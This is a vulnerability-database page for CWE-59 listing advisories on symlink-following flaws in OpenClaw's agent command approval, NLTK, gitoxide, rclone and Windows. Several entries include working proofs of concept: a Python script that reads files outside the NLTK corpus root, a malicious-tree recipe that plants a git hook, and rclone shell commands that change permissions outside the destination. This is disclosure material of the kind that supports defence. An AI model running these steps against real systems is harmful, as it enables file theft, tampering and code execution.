GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-59

Allowed

Improper Link Resolution Before File Access ('Link Following')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

2236 vulnerabilities reference this CWE, most recent first.

GHSA-F7WW-2725-QVW2

Vulnerability from github – Published: 2026-03-02 23:35 – Updated: 2026-03-18 21:53
VLAI
Summary
OpenClaw: Node system.run approval bypass via parent-symlink cwd rebind
Details

Summary

For host=node executions, approval context could be bypassed after approval-time by rebinding a writable parent symlink in cwd while preserving the visible cwd string.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.2.25
  • Fixed: >= 2026.2.26 (planned next npm release)

Impact

A command approved for one filesystem location could execute from a different location if a mutable parent symlink changed between approval and execution.

Fix

  • Added immutable approval-time plan preparation (system.run.prepare) and systemRunPlanV2 canonical fields (argv, cwd, agentId, sessionKey).
  • Enforced canonical plan values through approval request storage and forwarding-time sanitization.
  • Rejected mutable parent-symlink path components during approval-plan building to block symlink rebind bypass.
  • Follow-up refactors centralized command catalogs and approval context/error handling to reduce future drift.

Fix Commit(s)

  • 78a7ff2d50fb3bcef351571cb5a0f21430a340c1
  • d82c042b09727a6148f3ca651b254c4a677aff26
  • d06632ba45a8482192792c55d5ff0b2e21abb0a7
  • 4e690e09c746408b5e27617a20cb3fdc5190dbda
  • 4b4718c8dfce2e2c48404aa5088af7c013bed60b

Release Process Note

patched_versions is pre-set to the planned next release (2026.2.26). Once npm openclaw@2026.2.26 is published, publish this advisory directly without further version-field edits.

OpenClaw thanks @tdjackey for reporting.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.25"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T23:35:56Z",
    "nvd_published_at": "2026-03-18T02:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nFor `host=node` executions, approval context could be bypassed after approval-time by rebinding a writable parent symlink in `cwd` while preserving the visible `cwd` string.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.25`\n- Fixed: `\u003e= 2026.2.26` (planned next npm release)\n\n## Impact\nA command approved for one filesystem location could execute from a different location if a mutable parent symlink changed between approval and execution.\n\n## Fix\n- Added immutable approval-time plan preparation (`system.run.prepare`) and `systemRunPlanV2` canonical fields (`argv`, `cwd`, `agentId`, `sessionKey`).\n- Enforced canonical plan values through approval request storage and forwarding-time sanitization.\n- Rejected mutable parent-symlink path components during approval-plan building to block symlink rebind bypass.\n- Follow-up refactors centralized command catalogs and approval context/error handling to reduce future drift.\n\n## Fix Commit(s)\n- `78a7ff2d50fb3bcef351571cb5a0f21430a340c1`\n- `d82c042b09727a6148f3ca651b254c4a677aff26`\n- `d06632ba45a8482192792c55d5ff0b2e21abb0a7`\n- `4e690e09c746408b5e27617a20cb3fdc5190dbda`\n- `4b4718c8dfce2e2c48404aa5088af7c013bed60b`\n\n## Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`). Once npm `openclaw@2026.2.26` is published, publish this advisory directly without further version-field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-f7ww-2725-qvw2",
  "modified": "2026-03-18T21:53:47Z",
  "published": "2026-03-02T23:35:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f7ww-2725-qvw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27545"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4b4718c8dfce2e2c48404aa5088af7c013bed60b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4e690e09c746408b5e27617a20cb3fdc5190dbda"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/78a7ff2d50fb3bcef351571cb5a0f21430a340c1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d06632ba45a8482192792c55d5ff0b2e21abb0a7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d82c042b09727a6148f3ca651b254c4a677aff26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-approval-bypass-via-parent-symlink-current-working-directory-rebind"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Node system.run approval bypass via parent-symlink cwd rebind"
}

GHSA-F833-7JW8-XWRV

Vulnerability from github – Published: 2026-09-08 16:39 – Updated: 2026-09-08 16:39
VLAI
Summary
NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
Details

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:39:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`\u0027s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus\u0027s own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        \u0027\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e\u0027\n        \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n        \"\u003c/frame\u003e\"\n    )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK\u0027s own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581\u0027s own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn\u0027t achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.",
  "id": "GHSA-f833-7jw8-xwrv",
  "modified": "2026-09-08T16:39:24Z",
  "published": "2026-09-08T16:39:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3726"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)"
}

GHSA-F87G-RQHG-RQ8R

Vulnerability from github – Published: 2021-12-16 00:01 – Updated: 2024-08-01 15:31
VLAI
Details

Windows Setup Elevation of Privilege Vulnerability

Severity
7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-43237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-15T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Setup Elevation of Privilege Vulnerability",
  "id": "GHSA-f87g-rqhg-rq8r",
  "modified": "2024-08-01T15:31:16Z",
  "published": "2021-12-16T00:01:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43237"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-43237"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F89C-WHFR-778H

Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2024-02-21 21:30
VLAI
Details

NTFS file system in Windows NT 4.0 and Windows 2000 SP2 allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2002-0725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-09-05T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "NTFS file system in Windows NT 4.0 and Windows 2000 SP2 allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.",
  "id": "GHSA-f89c-whfr-778h",
  "modified": "2024-02-21T21:30:21Z",
  "published": "2022-04-30T18:19:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0725"
    },
    {
      "type": "WEB",
      "url": "http://www.atstake.com/research/advisories/2000/a081602-1.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.iss.net/security_center/static/9869.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/5484"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F89H-2FJH-2R9Q

Vulnerability from github – Published: 2026-05-07 00:01 – Updated: 2026-05-14 20:43
VLAI
Summary
gix-fs: Symlink prefix-reuse allows worktree escape during checkout
Details

Summary

A malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to.

Details

During checkout, all symlink index entries are deferred and created after regular files using a single shared gix_worktree::Stack. Internally, this uses a gix_fs::Stack.

gix_fs::Stack::make_relative_path_current() caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at gix-fs/src/stack.rs:195-197 invokes only delegate.push_directory(), never delegate.push().

In gix_worktree::stack::delegate::StackDelegate, when the state member is State::CreateDirectoryAndAttributesStack, Attributes::push_directory() only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk symlink_metadata() check and unlink-on-collision live in StackDelegate::push()'s invocation of create_leading_directory(), which is therefore bypassed for the cached prefix. The final symlink is created with plain std::os::unix::fs::symlink, which follows symlinks in parent directories.

Therefore, it's possible to provide a tree with duplicate symlink and directory entries that exploits this. If a tree is constructed with:

  1. A 120000 (symlink) entry a that points to .git/hooks.
  2. A 040000 (directory) entry a with a subtree that contains a symlink from post-checkout to ../../payload.
  3. A 100755 (executable file) entry payload.

This is converted by gix_index::State::from_tree() into index entries ["a" (SYMLINK), "a/post-checkout" (SYMLINK)].

Then, during the delayed symlink phase:

  1. a is created as a symlink to e.g. .git/hooks.
  2. When processing a/post-checkout, the a prefix is reused from the just-processed leaf entry without re-running the intermediate-directory check, after which…
  3. symlink(target, "<wt>/a/post-checkout") resolves through the just-created symlink to write .git/hooks/post-checkout.

Although this example uses .git/hooks for simplicity, there's no actual requirement to write within the repo checkout. This can be fairly easily chained into code execution by writing to something that is known to be executed — for example, by writing to .git/hooks/post-checkout if the attacker knows that a hook-aware Git implementation will be used later, or by writing to something like ~/.local/bin.

PoC

Attached is build-bad-repo.sh, which builds a repo with the aforementioned tree structure. Cloning it with gix will set up the malicious .git/hooks/post-checkout, at which point anything that normally invokes the post-checkout hook will result in its execution, such as git checkout -b new-branch.

Impact

Arbitrary symlink creation into any existing directory the user can write to.

Disclosure

This vulnerability was found by AI (specifically, Claude Mythos) as part of Project Glasswing. This advisory was written and verified by a human.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.21.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "gix-fs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:01:28Z",
    "nvd_published_at": "2026-05-13T22:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA malicious tree can be constructed that will, when checked out with gitoxide, permit writing an attacker-controlled symlink into any existing directory the user has write access to.\n\n### Details\n\nDuring checkout, all symlink index entries are deferred and created after regular files using a single shared `gix_worktree::Stack`. Internally, this uses a `gix_fs::Stack`.\n\n`gix_fs::Stack::make_relative_path_current()` caches validated path prefixes: when the previously-processed leaf component exactly matches the leading component(s) of the next path, the leaf-to-directory transition at `gix-fs/src/stack.rs:195-197` invokes only `delegate.push_directory()`, never `delegate.push()`.\n\nIn `gix_worktree::stack::delegate::StackDelegate`, when the state member is `State::CreateDirectoryAndAttributesStack`, `Attributes::push_directory()` only loads attributes (from the ODB, in the clone case), and does not perform any other checks. The on-disk `symlink_metadata()` check and unlink-on-collision live in `StackDelegate::push()`\u0027s invocation of `create_leading_directory()`, which is therefore bypassed for the cached prefix. The final symlink is created with plain `std::os::unix::fs::symlink`, which follows symlinks in parent directories.\n\nTherefore, it\u0027s possible to provide a tree with duplicate symlink and directory entries that exploits this. If a tree is constructed with:\n\n1. A `120000` (symlink) entry `a` that points to `.git/hooks`.\n2. A `040000` (directory) entry `a` with a subtree that contains a symlink from `post-checkout` to `../../payload`.\n3. A `100755` (executable file) entry `payload`.\n\nThis is converted by `gix_index::State::from_tree()` into index entries `[\"a\" (SYMLINK), \"a/post-checkout\" (SYMLINK)]`.\n\nThen, during the delayed symlink phase:\n\n1. `a` is created as a symlink to e.g. `.git/hooks`.\n2. When processing `a/post-checkout`, the `a` prefix is reused from the just-processed leaf entry without re-running the intermediate-directory check, after which\u2026\n3. `symlink(target, \"\u003cwt\u003e/a/post-checkout\")` resolves through the just-created symlink to write `.git/hooks/post-checkout`.\n\nAlthough this example uses `.git/hooks` for simplicity, there\u0027s no actual requirement to write within the repo checkout. This can be fairly easily chained into code execution by writing to something that is known to be executed \u2014 for example, by writing to `.git/hooks/post-checkout` if the attacker knows that a hook-aware Git implementation will be used later, or by writing to something like `~/.local/bin`.\n\n### PoC\n\nAttached is [build-bad-repo.sh](https://github.com/user-attachments/files/27223800/build-bad-repo.sh), which builds a repo with the aforementioned tree structure. Cloning it with `gix` will set up the malicious `.git/hooks/post-checkout`, at which point anything that normally invokes the `post-checkout` hook will result in its execution, such as `git checkout -b new-branch`.\n\n### Impact\n\nArbitrary symlink creation into any existing directory the user can write to.\n\n### Disclosure\n\nThis vulnerability was found by AI (specifically, Claude Mythos) as part of [Project Glasswing](https://www.anthropic.com/glasswing). This advisory was written and verified by a human.",
  "id": "GHSA-f89h-2fjh-2r9q",
  "modified": "2026-05-14T20:43:45Z",
  "published": "2026-05-07T00:01:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f89h-2fjh-2r9q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44471"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gix-fs: Symlink prefix-reuse allows worktree escape during checkout"
}

GHSA-F8G7-2XJC-7MFH

Vulnerability from github – Published: 2026-09-10 22:51 – Updated: 2026-09-10 22:51
VLAI
Summary
rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination
Details

Summary

With -l/--links, rclone's local backend recreates a source .rclonelink object as a real symlink at the destination verbatim (preserved by design for faithful backups). Directory-metadata application, however, does not go through the os.Root sandbox and does not use NOFOLLOW syscalls. A local Directory always has translatedLink=false, so when the destination path already exists as a planted symlink, rclone applies chmod/chown/chtimes through that symlink to a target outside the destination tree. An attacker who controls the source contents (malicious/compromised remote, shared bucket) obtains attacker-valued chmod/chown/chtimes of an arbitrary path outside the backup destination.

Root Cause

  • MkdirMetadata (backend/local/local.go:895) calls f.lstat (=os.Lstat, local.go:465) on the destination path. On a pre-planted symlink, os.Lstat succeeds, so the errors.Is(err, os.ErrNotExist) branch (local.go:896) that would create a real directory via the os.Root-guarded f.Mkdir is not taken. Instead a Directory is built directly on the symlink path.
  • writeMetadataToFile runs raw os.Chown (backend/local/metadata.go:131) and os.Chmod (metadata.go:158); setTimes runs raw os.Chtimes (backend/local/local.go:1318).
  • The CVE-2024-52522 NOFOLLOW fix (os.Lchown/lChmod/lChtimes) is gated on if o.translatedLink (metadata.go:128/150, local.go:1315). A Directory (newDirectory→newObject with no .rclonelink suffix) is never translatedLink, so it always takes the raw following branch. The CVE-2026-54572 os.Root fix covers only content writes, not metadata syscalls.

Impact

Attacker-controlled chmod/chown/chtimes (values taken from the source directory's mode/uid/gid/mtime) applied to any file or directory outside the destination. chtimes (mtime) escape works with just --links and default flags; chmod/chown escape additionally needs --metadata. When rclone runs as root with --metadata and a source uid=0, the chown primitive reaches the CVE-2024-52522 privilege-escalation ceiling (take ownership of an out-of-tree path).

Proof of Concept

mkdir -p /src /dest
# run 1: source object pwn.rclonelink whose body = /home/victim/secret.d
printf '/home/victim/secret.d' > /src/pwn.rclonelink
rclone sync --links /src /dest              # plants /dest/pwn -> /home/victim/secret.d
# attacker swaps source pwn to a real directory with chosen metadata:
rm /src/pwn.rclonelink ; mkdir -p /src/pwn/keep ; chmod 777 /src/pwn
rclone sync --links --metadata /src /dest   # MkdirMetadata sees /dest/pwn exists (symlink) ->
                                            # chmod 0777 applied THROUGH it to /home/victim/secret.d
ls -ld /home/victim/secret.d                # => drwxrwxrwx  (outside dir, attacker-chosen mode)

A single-run PoC is achievable against directory-based object sources (drive/onedrive-class) that satisfy both ReadDirMetadata and CanHaveEmptyDirectories and can present pwn.rclonelink and pwn/ simultaneously. Local→local uses the two-run backup model (same repeated-backup model as CVE-2024-52522 and CVE-2026-54572). Verified end-to-end against the real fs/sync.Sync engine on HEAD: the two-run backup backdated the outside target's mtime and chmod'd it 0777 while os.Root correctly blocked the content-copy of pwn/keep — isolating the metadata gap.

Attack Chain

  1. Entry. Victim runs rclone copy/sync --links [--metadata] <untrusted-remote>: /dest. Attacker controls source contents.
  2. Guard: none — --links copying an untrusted remote is a documented, supported operation.
  3. Plant symlink. Source serves pwn.rclonelink with body = absolute outside path; rclone recreates dst/pwn → outside.
  4. Guard: Fs.symlink routes creation through os.Root.Symlink (local.go:~1552).
  5. Bypass proof: os.Root creates the link verbatim by design (commit 1154afe); the upstream os.Root fix's test TestSymlinkEscapeWriteThroughBlocked confirms only write-through is refused, the link is planted.
  6. Deferred dir-metadata fires after transfers. Source presents non-empty dir pwn; setDelayedDirModTimes (sync.go:1002) runs strictly after stopTransfers() (sync.go:988) — after the symlink is planted.
  7. Guard: MkdirMetadata would create a real dir via os.Root-guarded f.Mkdir (local.go:897) inside its errors.Is(err, os.ErrNotExist) branch.
  8. Bypass proof: os.Lstat (local.go:465) on the existing symlink returns success, so the ErrNotExist branch (local.go:896) is NOT taken; f.Mkdir/os.Root never runs. Empirically os.IsNotExist(err)=false for the planted symlink.
  9. Sink follows the symlink. CopyDirMetadata→MkdirMetadata→writeMetadataToFile runs os.Chown/os.Chmod (metadata.go:131/158); DirSetModTime→setTimes runs os.Chtimes (local.go:1318) — all on o.path="dst/pwn" with translatedLink=false.
  10. Guard: CVE-2024-52522 NOFOLLOW branch (os.Lchown/lChmod/lChtimes).
  11. Bypass proof: that branch is gated on if o.translatedLink (metadata.go:128/150, local.go:1315); a Directory always has translatedLink=false, so the raw following branch runs. POSIX-confirmed: chmod 777/touch on a symlink path change the target's mode/mtime.
  12. Impact. chmod/chown/chtimes on an attacker-chosen path outside the destination, with attacker-controlled values.

Bypass Evidence

  • if o.translatedLink gates verified verbatim on v1.75.0 at metadata.go:128/150 and local.go:1315; os.Chown/os.Chmod/os.Chtimes on the else branch at metadata.go:131/158 and local.go:1318.
  • newDirectory→newObject (local.go:581/589/596) never sets the .rclonelink suffix → translatedLink=false for all directories.
